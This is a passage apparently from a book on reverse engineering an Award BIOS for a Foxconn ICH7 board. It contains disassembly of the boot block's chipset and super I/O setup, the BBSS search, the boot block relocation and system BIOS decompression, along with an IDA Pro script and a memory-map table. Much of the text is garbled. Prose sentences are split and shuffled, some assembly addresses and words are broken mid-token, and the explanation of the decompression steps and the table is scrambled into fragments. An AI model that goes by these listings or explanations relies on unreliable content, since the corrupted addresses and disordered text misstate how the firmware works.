F000:F6AB   mov   cr0, eax 
F000:F6AE   jmp   short $+2 
F000:F6B0   shr   esp, 10h 
F000:F6B4   clc 
F000:F6B5   retn 
F000:F6B5 chipset_early_init endp 
......... 
F000:F6D8 Begin_Chipset_Cfg 
......... 
F000:F6E0   dw 0FB20h             ; D31:F3 - SMBus ctlr 
F000:F6E2   db 0                  ; and mask 
F000:F6E3   db 0                  ; or mask 
F000:F6E4   dw 0FB21h             ; D31:F3 - SMBus ctlr 
F000:F6E6   db 0                  ; and mask 
F000:F6E7   db 5                  ; SMBus base at 500h 
F000:F6E8   dw 0FB40h             ; D31:F3 - SMBus ctlr 
F000:F6EA   db 0                  ; and mask 
F000:F6EB   db 1                  ; SMBus host enable 
F000:F6EC   dw 0FB04h             ; D31:F3 - SMBus ctlr 
F000:F6EE   db 0                  ; and mask 
F000:F6EF   db 3                  ; or mask 
F000:F6F0   dw 0F841h             ; D31:F0 - LPC bridge 
F000:F6F2   db 0                  ; and mask 
F000:F6F3   db 4                  ; ACPI I/O base at 400h 
F000:F6F4   dw 0F844h             ; D31:F0 - LPC bridge 
F000:F6F6   db 0                  ; and mask 
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F000:F6F7   db 80h                ; ACPI enable 
F000:F6F8   dw 0F848h             ; D31:F0 - LPC bridge 
F000:F6FA   db 0                  ; and mask 
F000:F6FB   db 80h                ; GPIO I/O base at 80h 
......... 
F000:F743 End_Chipset_Cfg 
 
 
5.1.2.3. Super I/O Chip Initialization Routine 

ip through the LPC interface 
first sight. You can consult the ICH7 datasheet 
 Table 6.2 in that datasheet mentions the usage 

 I/O (LPC SIO), which means the LPC super 

lization Routine 

 
 The routine in listing 5.4 configures the super I/O ch
in ICH7. Perhaps it's not too obvious in the 
section 6.3.1, "Fixed I/O Address Ranges." 
of port address  as the low pin count super2Eh
I/O address. 
 

Listing 5.4 Disassembly of the Super I/O Initia

F000:E1C0 Begin SuperIO configuration values 
F000:E1C0   dw 0C424h            ; 
F000:E1C2   dw 29h               ; 
F000:E1C4   dw 7C2Ah             ; 
F000:E1C6   dw 0C02Bh            ; 
F000:E1C8   dw 12Dh              ; 
F000:E1CA   dw 7                 ; 
F000:E1CC   dw 130h              ; 
F000:E1CE   dw 0EF0h             ; 
F000:E1D0   dw 107h              ; 
F000:E1D2   dw 130h              ; 
F000:E1D4   dw 507h              ; 
F000:E1D6   dw 130h              ; 
F000:E1D8   dw 60h               ; 
F000:E1DA   dw 6061h             ; 
F000:E1DC   dw 62h               ; 
F000:E1DE   dw 6463h             ; 
F000:E1E0   dw 170h              ; 
F000:E1E2   dw 0C72h             ; 
F000:E1E4   dw 80F0h             ; 
F000:E1E6   dw 707h              ; 
F000:E1E8   dw 130h              ; 
F000:E1EA   dw 60h               ; 
F000:E1EC   dw 61h               ; 
F000:E1EE   dw 62h               ; 
F000:E1F0   dw 63h               ; 
F000:E1F2   dw 70h               ; 
F000:E1F4   dw 807h              ; 
F000:E1F6   dw 907h              ; 
F000:E1F8   dw 130h              ; 
F000:E1FA   dw 860h              ; 
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F000:E1FC   dw 61h               ; 
F000:E1FE   dw 40F3h             ; 
F000:E200   dw 0FFF4h            ; 
F000:E202   dw 0F5h              ; 
F000:E204   dw 0F6h              ; 
F000:E206   dw 0B07h             ; 
F000:E208   dw 130h              ; 
F000:E20A   dw 260h              ; 
F000:E20C   dw 9061h             ; 
F000:E20C End SuperIO configuration values 
F000:E20E Init_Super_IO: 
F000:E20E   mov   cx, 10h 
F000:E211 repeat: 
F000:E211   out   0EBh, al 
F000:E213   loop  repeat 
F000:E215   mov   dx, 2Eh  ; '.' ; Enter super I/O chip cfg mode 
F000:E218   mov   al, 87h  ; 'ç' 
F000:E21A   out   dx, al 
F000:E21B   nop 
F000:E21C   nop 
F000:E21D   out   dx, al 
F000:E21E   mov   si, 0E1C0h 
F000:E221   mov   cx, 27h  ; ''' 
F000:E224 next_SuperIO_cfg_val: 
F000:E224   mov   ax, cs:[si] 
F000:E227   mov   dx, 2Eh  ; '.' 
F000:E22A   out   dx, al 
F000:E22B   out   0EBh, al 
F000:E22D   xchg  ah, al 
F000:E22F   inc   dx 
F000:E230   out   dx, al 
F000:E231   add   si, 2 
F000:E234   out   0EBh, al 
F000:E236   loop  next_SuperIO_cfg_val 
F000:E238   mov   dx, 2Eh  ; '.' 
F000:E23B   mov   al, 0AAh ; '¬' 
F000:E23D   out   dx, al         ; Exit super I/O cfg mode 
F000:E23E   jmp   init_Super_IO_done 
 
 
5.1.2.4. Jump to CMOS Values and Memory Initialization 

 

Listing 5.5 Disassembly of CMOS Values Initialization and Memory Initialization 

F A8 continue: 000:E1
F000:E1A8   mov   al, 0C0h 
F000:E1AA   out   80h, al        ; Manufacturer's diagnostic checkpoint 
F000:E1AC   mov   sp, 0E1B0h 
F000:E1AF   retn 
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F000:E1AF ; ------------------------------------------------------------- 
F000:E1B0   dw 0E242h            ; Return vector 
......... 
F000:E242   mov   sp, 0E248h 
F000:E245   jmp   is_stepping_611? 
F000:E245 ; ------------------------------------------------------------- 
F000:E248   dw 0E24Ah 
F000:E24A ; ------------------------------------------------------------- 
F000:E24A   mov   al, 0B3h ; '¦' 
F000:E24C   mov   ah, al 
F000:E24E   mov   sp, 0E254h 
F000:E251   jmp   Read_CMOS_Byte 
 
 
5.1.2.5. BBSS Search and Early Memory Test Routines 

the BBSS string seems to represent something related to 

 and Early Memory Test Routines 

 
 bizarre;  These routines are

decompression. However, Award BIOS source code that leaked on the web circa 2002 
shows that the  stringBBSS  stands for Boot Block Structure Signature. These routines 

execution and other various devices needed for initialize the DRAM area needed for BIOS 
the later BIOS execution task. 
 

Listing 5.6 Disassembly of the BBSS Search

F000:E311   mov   sp, 0E317h 
F000:E314   jmp   _search_BBSS 
F000:E314 ; ------------------------------------------------------------- 
F000:E317   dw 0E319h 
F000:E319 ; ------------------------------------------------------------- 
F000:E319   or    si, si 
F000:E31B   jz    short BBSS_not_found 
F000:E31D   mov   ax, [si+19h] 
F000:E320   cmp   ax, 0FFFFh 
F000:E323   jz    short BBSS_not_found 
F000:E325   mov   sp, 0E32Ah 
F000:E328   jmp   ax 
F000:E328 ; ------------------------------------------------------------- 
F000:E32A   dw 0E32Ch 
F000:E32C ; ------------------------------------------------------------- 
F000:E32C BBSS_not_found:        ; 
F000:E32C   mov   al, 0C1h ; '-' 
F000:E32E   out   80h, al        ; Manufacturer's diagnostic checkpoint 
F000:E330   mov   sp, 0E336h 
F000:E333   jmp   _search_BBSS 
F000:E333 ; ------------------------------------------------------------- 
F000:E336   dw 0E338h 
F000:E338 ; ------------------------------------------------------------- 
F000:E338   or    si, si 
F000:E33A   jz    short no_valid_BBSS 
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F000:E33C   mov   ax, [si] 
F000:E33E   mov   bx, ax 
F000:E340   ror   ax, 4 
F000:E343   mov   ds, ax 
F000:E345   assume ds:nothing 
F000:E345   mov   sp, 0E34Bh 
F000:E348   jmp   sub_F000_F7D0 
F000:E348 ; ------------------------------------------------------------- 
F000:E34B   dw 0E34Dh 
F000:E34D ; ------------------------------------------------------------- 
F000:E34D   jz    short exec_BBSS 
F000:E34F   mov   ecx, 26Eh 
F000:E355   mov   eax, 5050505h 
F000:E35B   mov   edx, eax 
F000:E35E   wrmsr 
F000:E360   inc   cl 
F000:E362   wrmsr 
F000:E364   mov   eax, 0C00h 
F000:E36A   mov   ecx, 2FFh 
F000:E370   xor   edx, edx 
F000:E373   wrmsr 
F000:E375   wbinvd 
F000:E377   mov   eax, cr3 
F000:E37A   mov   cr3, eax 
F000:E37D   mov   eax, cr0 
F000:E380   and   eax, 9FFFFFFFh 
F000:E386   mov   cr0, eax 
F000:E389   wbinvd 
F000:E38B   xor   ah, ah 
F000:E38D   mov   cx, ds:0Ah 
F000:E391   dec   cx 
F000:E392   xor   si, si 
F000:E394   db      2Eh 
F000:E394   mov   ax, ax 
F000:E397   db      2Eh 
F000:E397   mov   ax, ax 
F000:E39A   db      2Eh 
F000:E39A   mov   ax, ax 
F000:E39D   db      2Eh 
F000:E39D   mov   ax, ax 
F000:E3A0 next_lower_byte: 
F000:E3A0   lodsb 
F000:E3A1   add   ah, al 
F000:E3A3   loop  next_lower_byte 
F000:E3A5   cmp   ah, [si] 
F000:E3A7   jnz   short no_valid_BBSS 
F000:E3A9 exec_BBSS: 
F000:E3A9   mov   sp, 0E3B0h 
F000:E3AC   jmp   dword ptr ds:2 ; bare_memory_engine @ E600:458 
F000:E3AC ; ------------------------------------------------------------- 
F000:E3B0   dw 0E3BCh 
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......... 
F000:E3BC   mov   ax, 0 
F000:E3BF   mov   ds, ax 
F000:E3C1   assume ds:nothing 
F000:E3C1   mov   word ptr ds:472h, 0 
F000:E3C7   mov   al, 8Fh 
......... 
F000:E5A7 _search_BBSS proc near 
F000:E5A7   mov   ax, cs 
F A9   mov   es, ax 000:E5
F000:E5AB   assume es:F000 
F000:E5AB   mov   ax, 0E000h 
F000:E5AE   mov   ds, ax 
F000:E5B0   assume ds:E000 
F000:E5B0   mov   ax, 0FFF0h 
F000:E5B3   cld 
F000:E5B4 next_lower_bytes: 
F000:E5B4   mov   si, ax 
F000:E5B6   lea   di, ds:0E045h 
F000:E5BA   mov   cx, 6 
F000:E5BD   repe cmpsb 
F000:E5BF   jz    short exit 
F000:E5C1   sub   ax, 10h 
F000:E5C4   jnz   short next_lower_bytes 
F000:E5C6   xor   si, si 
F000:E5C8 exit: 
F000:E5C8   retn 
F000:E5C8 _search_BBSS endp 
 

Th e BBSS "engine" is found using the following script: 
 

Listing 5.7 IDA Pro Script to Search for the BBSS String 

#include <idc.idc> 
 
static main(void) 
{ 
 auto ea, si, ds ; 
 
 ea=0xEFFF0; 
 
 for( ; ea > 0xE0000 ; ea = ea - 0x10 ) 
 { 
 if(Dword(ea) == 'SBB*')       
       { 
        Message("BBSS found at 0x%X\n", ea); 
        si = (ea & 0xFFFF) + 6; 
       } 
 } 
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 Message("on-exit, si = 0x%X\n", si ); 
 Message("[si+19] = 0x%X\n", Word(0xE0000 + si + 0x19) ); 
 
 ds = (Word(0xE0000+si) >> 4) | (0xFFFF &(Word(0xE0000+si) << 12)); 
 
 Message("SearchBBSS 2nd-pass\n"); 
 Message("ds = 0x%X\n", ds); 
 M e("BBSS routine entry: 0x%X\n", Dword((ds << 4)+2) ); essag
 
 Message("SearchBBSS 3rd-pass\n"); 
 Message("[si+0xE] = 0x%X\n", Word(0xE0000 + si + 0xE) ); 
} 
 
 The result of the execution of the script in listing 5.7 is as follows: 
 
Compiling file 'D:\Reverse_Engineering_Project\Foxconn_955X7AA- 
8EKRS2\idc_scripts\bbss.idc'... 
Executing function 'main'... 
BBSS found at 0xEB530 
on-exit, si = 0xB536 
[si+19] = 0xFFFF 
SearchBBSS 2nd-pass 
ds = 0xE600 
BBSS routine entry: 0xE6000458 
SearchBBSS 3rd-pass 
[si+0xE] = 0xB0F4 
 
 These results are then used as a basis to jump into the right BBSS "engine" 

utine itself. 

mbly 

address. Then the next routine is the BBSS ro
 

Listing 5.8 BBSS Routine Disasse

E600:0458 BBSS_: 
E600:0458   mov   ax, cs 
E600:045A   mov   ss, ax 
E600:045C   assume ss:BBSS 
E600:045C   mov   bx, sp 
E600:045E   movd  mm2, esp 
E600:0461   mov   ax, fs 
E600:0463   ror   eax, 10h 
E600:0467   mov   ax, gs 
E600:0469   movd  mm1, eax 
E600:046C   xor   al, al 
E600:046E   mov   dx, 4D0h 
E600:0471   out   dx, al 
E600:0472   inc   dl 
E600:0474   out   dx, al 
E600:0475   mov   eax, cr4 
E600:0478   or    eax, 200h 
E600:047E   mov   cr4, eax 
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E600:0481   jmp   bbss_1 
......... 
E600:4898 bbss_1: 
E600:4898   mov   si, 4870h 
E600:489B   mov   dh, 4 
......... 
E600:48B2   jnz   short loc_E600_489D 
E600:48B4   jmp   bbss_2 
......... 
E600:0484 bbss_2: 
E600:0484   mov   dx, 500h 
E600:0487   mov   al, 5Eh ; '^' 
......... 
E600:04B5   mov   dx, 500h 
E600:04B8   in    al, dx 
E600:04B9   test  al, 1 
E600:04BB   jz    short dont_halt 
E600:04BD   loop  loc_E600_49F 
E600:04BF   mov   dx, 0CF9h 
E600:04C2   mov   al, 0Ah 
E600:04C4   out   dx, al 
E600:04C5   jcxz  short $+2 
E600:04C7   or    al, 0Eh 
E600:04C9   out   dx, al 
E600:04CA halt: 
E600:04CA   hlt 
E600:04CB   jmp   short halt 
E600:04CD ; ------------------------------------------------------------- 
E600:04CD dont_halt: 
E600:04CD   mov   al, 5Eh ; '^' 
E600:04CF   out   dx, al 
E600:04D0   jmp   bbss_3 
......... 
E600:4903 bbss_3: 
E600:4903   mov   cx, 0F8A4h 
E600:4906   mov   sp, 490Ch 
E600:4909   jmp   sub_E600_179 
E600:4909 ; ------------------------------------------------------------- 
E600:490C   dw 490Eh 
......... 
E600:499F   jmp   bbss_4 
......... 
E600:04D3 bbss_4: 
E600:04D3   mov   dx, 400h 
E600:04D6   in    ax, dx 
E600:04D7   out   dx, ax 
......... 
E600:0590   jmp   bbss_5 
......... 
E600:1044 bbss_5: 
E600:1044   mov   al, 0A0h ; 
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E600:1046   out   80h, al        ; Manufacturer's diagnostic checkpoint 
E600:1048   xor   ebp, ebp 
......... 
E600:0593 exit: 
E600:0593   mov   sp, 5A2h 
E600:0596   pslldq xmm4, 2 
E600:059B   pinsrw xmm4, esp, 0 
E600:05A0   jmp   short loc_E600_5D0 
E600:05A2 ; ------------------------------------------------------------- 
E600:05A2   mov   eax, cr4 
E600:05A5   and   eax, 0FFFFFDFFh 
E600:05AB   mov   cr4, eax 
E600:05AE   mov   di, 5B4h 
E600:05B1   jmp   sub_E600_44A 
E600:05B4 ; ------------------------------------------------------------- 
E600:05B4   mov   ax, 0F000h 
E600:05B7   mov   ss, ax 
E600:05B9   assume ss:F000 
E600:05B9   movd  eax, mm1 
E600:05BC   mov   gs, ax 
E600:05BE   ror   eax, 10h 
E600:05C2   mov   fs, ax 
E600:05C4   movd  esp, mm2 
E600:05C7   and   esp, 0FFFFh 
E600:05CE   clc 
E600:05CF   retf                 ; Go back to boot block @ F000:E3BCh 

in RAM 

ck to and Execute the Boot Block in RAM 

 
 
5.1.2.6. Boot Block Is Copied and Executed 

 

Listing 5.9 Routine to Copy the Boot Blo

F000:E478   mov   ax, cs 
F000:E47A   mov   ds, ax 
F000:E47C   assume ds:F000 
F000:E47C   lgdt  qword ptr word_F000_FC10 
F000:E481   mov   eax, cr0 
F000:E484   or    al, 1 
F000:E486   mov   cr0, eax 
F000:E489   jmp   short $+2 
F000:E48B   mov   ax, 8 
F000:E48E   mov   ds, ax 
F000:E490   assume ds:seg012 
F000:E490   mov   es, ax 
F000:E492   assume es:seg012 
F000:E492   mov   esi, 0F0000h 
F000:E498   cmp   dword ptr [esi+0FFF5h], 'BRM*' 
F000:E4A4   jz    short low_BIOS_addr ; First pass match 
F000:E4A6   or    esi, 0FFF00000h 
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F000:E4AD low_BIOS_addr: 
F000:E4AD   mov   ebx, esi 
F000:E4B0   sub   esi, 10000h 
F000:E4B7   mov   edi, 10000h 
F000:E4BD   mov   ecx, 8000h 
F000:E4C3   rep movs dword ptr es:[edi], dword ptr [esi] ; copy E_seg- 
F C3                             ; F_seg to seg_1000h-seg_2000h 000:E4
F000:E4C7   mov   esi, ebx 
F000:E4CA   sub   esi, 10000h 
F00 40:E D1   mov   edi, 180000h 
F00 40:E D7   mov   ecx, 8000h 
F000:E4DD   rep movs dword ptr es:[edi], dword ptr [esi] ; copy E_seg- 
F000:E4 _FFFFh DD                             ; F_seg to 18_0000h - 19
F000:E4E1   mov   eax, cr0 
F000:E4E4   and   al, 0FEh 
F00 40:E E6   mov   cr0, eax 
F000:E4E9   jmp   short $+2 
F000:E4EB   jmp   far ptr boot_block_in_RAM 
......... 
2000:E4F0 boot_block_in_RAM: 
2000:E4F0   xor   ax, ax 
2000:E4F2   mov   ss, ax 
2000:E4F4   assume ss:nothing 
2000:E4 sp, 0E00h F4   mov   
200 4
 
 
follows: 
 

1. alues alias the F_0000h–F_FFFFh 

0:E F7   call  is_genuine_intel 

The last 128 KB of BIOS code at E000:0000h–F000:FFFFh are copied to RAM as 

Northbridge and southbridge power-on default v
address space with FFFE_FFFFh–FFFF_FFFFh, where the BIOS ROM chip address 
space is mapped. That's why the following code is safely executed: 
Address    Hex                       Mnemonic 
F000:FFF0 EA 5B E0 00 F0            jmp   far ptr F000:E05Bh 
Northbridge power-on default values disable DRAM shadowing for this address 2. 

pping of this address 
space dictate that accesses to this address space must be decoded as transactions to 

is address 
ed by the 

southbridge. 
3. Close to the beginning of boot block execution, chipset_early_init is executed. 

 in the southbridge to enable decoding of 
e., forwarding the read operation in this 

p. The northbridge power-on default values 
ddress space. Thus, reading or writing to this 

arded to DRAM. 

space. Thus, reading or writing to this address space will not be forwarded to 
DRAM but will be forwarded to the southbridge to be decoded. The default values 
of the control registers in southbridge that control the ma

the BIOS chip through the LPC bridge. Hence, a read operation to th
space will be forwarded to the BIOS ROM chip without being alter

This routine reprograms the LPC bridge
address –  to ROM, i.E_0000h F_FFFFh
address space into the BIOS ROM chi
disable DRAM shadowing for this a

e forwaddress space will not b
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4. Then comes the routine displayed previously that copied the last 128-KB BIOS 
E_0000h–F_FFFFh into DRAM at 1000:0000h–

19_FFFFh. The execution continues at segment 
omplished because 1000:0000h–2000:FFFFh address space 

 the chipset, with no special address translation. 
served from Award version 4.50PG to Award version 

tine 

ROM chip content at address 
_0000h–2000:FFFFh and 18

2000h. This can be acc
is mapped only to DRAM by

preThe algorithm preceding has been 
6.00PG code. There is a only minor difference between the versions. 
 
 
5.1.2.7. System BIOS Decompression and its Entry Point 

 

Listing 5.10 System BIOS Decompression Rou

2000:E544 decompress_sys_bios: 
2000:E544   mov   al, 0FFh 
2000:E546   call  enable_cache 
2000:E549   mov   al, 0Ch 
2000:E54B   out   80h, al        ; Manufacturer's diagnostic checkpoint 
2000:E54D   call  search_BBSS 
2000:E550   mov   ax, [si+0Eh] 
2000:E553   mov   si, 0 
2000:E556   mov   ds, si 
2000:E558   assume ds:nothing 
2000:E558   mov   si, 6000h 
2000:E55B   mov   [si], ax       ; [0000:6000] = 0xB0F4 
2000:E55D   mov   al, 0C3h ; '+' 
2000:E55F   out   80h, al        ; Manufacturer's diagnostic checkpoint 
2000:E561   call  near ptr Decompress_System_BIOS 
2000:E564 ; ------------------------------------------------------------- 
2000:E564   jmp   short System_BIOS_dcmprssion_OK 
2000:E566 ; ------------------------------------------------------------- 
2000:E566 
2000:E566 decompression_failed: 
2000:E566   push  2000h 
2000:E569   pop   ds 
2000:E56A   assume ds:_20000h 
2000:E56A   mov   dword_2000_FFF4, '/11=' 
2000:E573   mov   dword_2000_FFF8, '9/11' 
2000:E57C   mov   dword_2000_FFFC, 0CFFC0039h 
2000:E585   mov   ax, 1000h 
2000:E588 
2000:E588 System_BIOS_dcmprssion_OK: 
2000:E588   mov   ds, ax 
2000:E58A   assume ds:seg_01 
2000:E58A   push  ax 
2000:E58B   mov   al, 0C5h ; '+' 
2000:E58D   out   80h, al        ; Manufacturer's diagnostic checkpoint 
2000:E58F   call  copy_decompression_result 
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2000:E592   pop   ax 
2000:E593   cmp   ax, 5000h 
2000:E596   jz    short dcomprssion_ok 
2000:E598   jmp   decompress_err+1 
2000:E59D ; ------------------------------------------------------------- 
2000:E59D 
2000:E59D dcomprssion_ok: 
2000:E59D   mov   al, 0 
2000:E59F   call  enable_cache 
2000:E5A2   jmp   org_tmp_entry 
......... 
2000:FC85 Decompress_System_BIOS proc far 
2000:FC85   push  2000h 
2000:FC88   call  near ptr CX_equ_C000h 
2000:FC8B   mov   esi, 0 
2000:FC91   jnz   short not_taken 
2000:FC93   mov   esi, 0FFF00000h 
2000:FC99 
2000:FC99 not_taken: 
2000:FC99   movzx ecx, cx 
2000:FC9D   shl   ecx, 4 
2000:FCA1   or    esi, ecx 
2000:FCA4   cld 
2000:FCA5   mov   ax, cs 
2000:FCA7   mov   ds, ax 
2000:FCA9   assume ds:_20000h 
2000:FCA9   lgdt  qword_2000_FC16 
2000:FCAE   mov   eax, cr0 
2000:FCB1   or    al, 1 
2000:FCB3   mov   cr0, eax 
2000:FCB6   jmp   short $+2 
2000:FCB8   mov   ax, 8 
2000:FCBB   mov   ds, ax 
2000:FCBD   assume ds:FFFF0000h 
2000:FCBD   mov   es, ax 
2000:FCBF   assume es:FFFF0000h 
2000:FCBF   and   esi, 0FFF00000h 
2000:FCC6   or    esi, 80000h 
2000:FCCD   mov   edi, 300000h 
2000:FCD3   mov   ecx, 20000h 
2000:FCD9   rep movs dword ptr es:[edi], dword ptr [esi] ; copy 512-KB 
2000:FCD9                        ; BIOS code from near the 4-GB address 
2000:FCD9                        ; to 30_0000h-37_FFFFh 
2000:FCDD   mov   eax, cr0 
2000:FCE0   and   al, 0FEh 
2000:FCE2   mov   cr0, eax 
2000:FCE5   jmp   short $+2 
2000:FCE7   push  2000h 
2000:FCEA   call  near ptr flush_cache 
2000:FCED   call  search_BBSS 
2000:FCF0   mov   si, [si] 
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2000:FCF2   and   si, 0FFF0h 
2000:FCF5   push  si 
2000:FCF6   mov   bx, [si+0Ah] 
2000:FCF9   and   bx, 0FFF0h 
2000:FCFC   pop   ax 
2000:FCFD   add   ax, bx 
2000:FCFF   and   ax, 0F000h 
2000:FD02   add   ax, 0FFEh 
2000:FD05   push  ax 
2000:FD06   call  enter_voodoo 
2000:FD09   pop   ax 
2000:FD0A   mov   esi, 300000h 
2000:FD10   mov   ecx, 60000h 
2000:FD16   add   ecx, esi 
2000:FD19 
2000:FD19 next_lower_byte: 
2000:FD19   mov   ebx, [esi] 
2000:FD1D   and   ebx, 0FFFFFFh 
2000:FD24   cmp   ebx, 'hl-'     ; Find compressed system BIOS 
2000:FD2B   jz    short lh_sign_found 
2000:FD2D   inc   esi 
2000:FD2F   jmp   short next_lower_byte 
2000:FD31 ; ------------------------------------------------------------- 
2000:FD31 lh_sign_found: 
2000:FD31   sub   esi, 2         ; Point to the beginning of the 
2000:FD31                        ; compressed component 
2000:FD35   add   cx, ax 
2000:FD37   sub   ecx, esi 
2000:FD3A   xor   ah, ah 
2000:FD3C 
2000:FD3C next_byte:             ; 
2000:FD3C   lods  byte ptr [esi] 
2000:FD3E   add   ah, al         ; Calculate the 8-bit checksum 
2000:FD40   loopd next_byte 
2000:FD43   mov   al, [esi] 
2000:FD46   push  ax 
2000:FD47   call  exit_voodoo 
2000:FD4A   pop   ax 
2000:FD4B   cmp   ah, al 
2000:FD4D   jnz   decompression_failed 
2000:FD51   xor   bx, bx 
2000:FD53   mov   es, bx 
2000:FD55   assume es:nothing 
2000:FD55   mov   ebx, 300000h 
2000:FD5B 
2000:FD5B repeat: 
2000:FD5B   call  near ptr Decompress 
2000:FD5E   jb    short decompression_failed 
2000:FD60   test  ecx, 0FFFF0000h 
2000:FD67   jnz   short sys_bios_decompress_OK 
2000:FD69   jmp   short next_segment 

 
 

22 



2000:FD6B 
2000:FD6B decompression_failed: 
2000:FD6B   cmp   ebx, 360000h 
2000:FD72   jnb   short chk_last_phy_addr 
2000:FD74   add   ebx, 10000h 
2000:FD7B   jmp   short repeat 
2000:FD7D 
2000:FD7D next_segment: 
2000:FD7D   add   ebx, 10000h 
2000:FD84   jmp   short decompress_next_seg? 
2000:FD86 
2000:FD86 sys_bios_decompress_OK: 
2000:FD86   add   ebx, ecx 
2000:FD89   inc   ebx 
2000:FD8B 
2000:FD8B decompress_next_seg?: 
2000:FD8B   call  near ptr Decompress 
2000:FD8E   jb    short chk_last_phy_addr 
2000:FD90   add   ebx, ecx 
2000:FD93   jmp   short decompress_next_seg? 
2000:FD95 
2000:FD95 chk_last_phy_addr: 
20 95   cmp   ebx, 360000h 00:FD
2000:FD9C   jnz   short decompression_OK 
2000:FD9E   mov   ax, 1000h 
2000:FDA1   stc 
2000:FDA2   retn 
2000:FDA3 ; ------------------------------------------------------------- 
2000:FDA3 
2000:FDA3 decompression_OK: 
2000:FDA3   mov   cx, 800h 
2000:FDA6   mov   al, 0ADh ; '¡' 
2000:FDA8   out   64h, al        ; AT keyboard controller 8042 
2000:FDAA 
2000:FDAA delay: 
2000:FDAA   loop  delay 
2000:FDAC   jz    decompression_failed 
2000:FDB0   mov   ax, 5000h 
2000:FDB3   clc 
200 D0:F B4   retn 
200 D
 
 
binary at ed into 30_0000h–37_FFFFh 
in system RAM. Then, the compressed BIOS code (4bgf1p50.bin) within 30_0000h–
37_FFFFh in RAM is decompressed into the 5000:0000h–6000:FFFFh address range, also 
in RAM. Note that the location of the system BIOS in the compressed BIOS binary varies 
in different Award BIOS version 6.00PG. However, the system BIOS is always the first 
LHA-compressed component in that address range, i.e., the first LHA-compressed 
component that will be found if you scan from 30_0000h to 37_FFFFh. The decompressed 

0:F B4 Decompress_System_BIOS endp 

In the beginning of the Decompress_System_BIOS procedure, the 512-KB BIOS 
 the FFF8_0000h–FFFF_FFFFh address range is copi
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syst
decompr t compressed E_seg and F_seg located in RAM at 
100 0
the boot
address 
appropri
 

3. 

4. *BBSS* segment 

5. ed BIOS components by invoking the decompression 
g

dec
dec ed and expansion area 

dec have to remember that the 

dec
6. Sha

com tine then copies the decompressed system BIOS from 

. 

em BIOS later relocated to E000:0000h–F000:FFFFh in RAM. However, if 
ession process failed, the curren

0:0 00h–2000:FFFFh5 will be relocated to E000:0000h–F000:0000h in RAM. Then 
 block error handling code will be executed. Note that the problems because of 
aliasing and DRAM shadowing are handled during the relocation by setting the 
ate chipset registers. Below is the basic rundown of this routine: 

1. Early in the boot block execution, configure the northbridge and southbridge 
registers to enable FFF0_0000h–FFFF_FFFFh decoding. The LPC bridge will 
forward access to this address to the BIOS ROM chip. The LPC bridge's firmware 
hub that decodes control registers6 is in charge here. 

2. Copy all BIOS code from FFF8_0000h–FFFF_FFFFh in the ROM chip into 
30_0000h–37_FFFFh in RAM. 
Verify the checksum of the whole compressed BIOS image. Calculate the 8-bit 
checksum of the copied compressed BIOS image in RAM (i.e., 30_0000h–
36_BFFDh) and compare the result against the result stored in 36_BFFEh. If the 8-
bit checksum doesn't match, then stop the decompression process and go to 
chk_sum_error; otherwise, continue the decompression routine. 
Look for the decompression engine by looking for  string in 
1000h. This segment is the copy of segment E000h7 in RAM. This part is 
different from Award BIOS version 4.50 code. In that version, the decompression 
engine is located in segment 2000h, i.e., the copy of segment F000h in RAM. 
Decompress the compress
en ine from the previous step. Note that at this stage only the system BIOS is 

ompressed. The other component is treated in different fashion. The 
ompress routine only processes the decompress

information then puts it in RAM near 0000:6000h. I delve into the details of the 
ompression routines later. In this step you only 

decompressed system BIOS will be located at 5000:0000h–6000:FFFFh after the 
ompression process finished successfully. 
dow the BIOS code. Assuming that the decompression routine successfully is 
pleted, the preceding rou

5000:0000h–6000:FFFFh in RAM to E_0000h–F_FFFFh, also in RAM. This is 
accomplished as follows: 
• Reprogram the northbridge shadow RAM control register to enable write only 

into E_0000h–F_FFFFh, i.e., forward the write operation into this address 
range to DRAM, no longer to the BIOS ROM chip

                                                 
 
5 The copies of E_seg and F_seg will be relocated, along with the copy of the boot block, in RAM. 
6 The firmware hub control registers are located in Device 31 Function 0 Offset D8h, D9h, and 
DCh. 
7 Segment E000h is an alias of the 64-KB code located at FFFE_0000h–FFFE_FFFFh. 
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• Perform a string copy operation to copy the decompressed system BIOS from 
5000:0000h–6000:FFFFh to E_0000h–F_FFFFh. 

• Reprogram the northbridge shadow RAM control register to enable read only 
into , i.e., forward the read operation into this address range 
to D to the BIOS ROM chi  to write-protect the 
system

7. Enable the microprocessor c  BIOS. 
This step is the last step i fter 

g the processor cach  system 
BIOS at F000:F80Dh in  jump 
destination address is the sam

 
 Consider the overall memo
5. e e d t 
because it eases yo  th , 
all code execution happens in RAM;  
chip. 
 

 E_0000h–F_FFFFh
RAM, no longer 

 BIOS code. 
p. This is also

ache, then jump into the decompressed system
n the normal boot block code execution path. A
e, the code then jumps into the write-protected
RAM, as seen in the preceding code. This

e across Award BIOSs. 

enablin

ry map that's related to the BIOS components (table 
ecompressed original.tmp is made. This is importan
e decompressed original.tmp later. Note that, by now
no more code is executed from within the BIOS ROM

1) just before th  jump into th
u in dissecting

Address 
Range in 

RAM 

Deco  mpression
State (by Boot 
Block Code) 

Description 

6  000h–6400h N/A 

This area contains the header of the extension 
component (component other than system BIOS) 
fetched from the BIOS image at 30_0000h–
37_FFFFh (previously the BIOS component at 
FFF8_0000h–FFFF_FFFFh in the BIOS chip).  

1_0000h–
2_FFFFh (executable) 

t 

he copy 
 BIOS 

component at FFFE_0000h–FFFF_FFFFh in the 

Pure binary case something i  with the BIOS. It's t
of the last 128 KB of the BIOS (previously the

This area contains the decompression block, the boo
block, and probably the code for error recovery in 

s wrong

BIOS chip). This code is shadowed here by the boot 
block in the BIOS ROM chip. 

5_0000h–
6_FFFFh Decompressed Note that the decompression process is 

accomplished by part of the decompression block in 
segment . 

This area contains the decompressed original.tmp. 

1000h

30_0000h–
37_FFFFh Compressed 

This area contains the copy of the BIOS (previously 
at FFF8_0000h–FFFF_FFFFh in the BIOS chip). 
This code is copied here by the boot block code in 
segment 2000h. 

E_0000h–
F_FFFFh Dec d 

This area contains the copy of the decompressed 
al.tmp, which is copied here by the boot block 
n segment 2000h. 

ompresse origin
code i

Table 5.1 BIOS binary mapping in memory before original.tmp execution 
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 The last thing to note the 
normal boot block code tion i  
that takes place if the system BIO
 As promised, I now delv e d f the decompression routine for the 
system BIOS, mentioned in point 
 ompressed c po
LZH le header for Th ill be 
located after decompression are t. The format is provided in 
table 5.2. Remember that it applies t
 

is that the 
path, wh

S is corrupt
e into th

boot block explanation here only covers 
ch means it didn't explain the boot block POST
ed. 

etails o

execu

5. Start by learn
nent in an 
e address ra
 contained with

o all com

ing the prerequisites. 
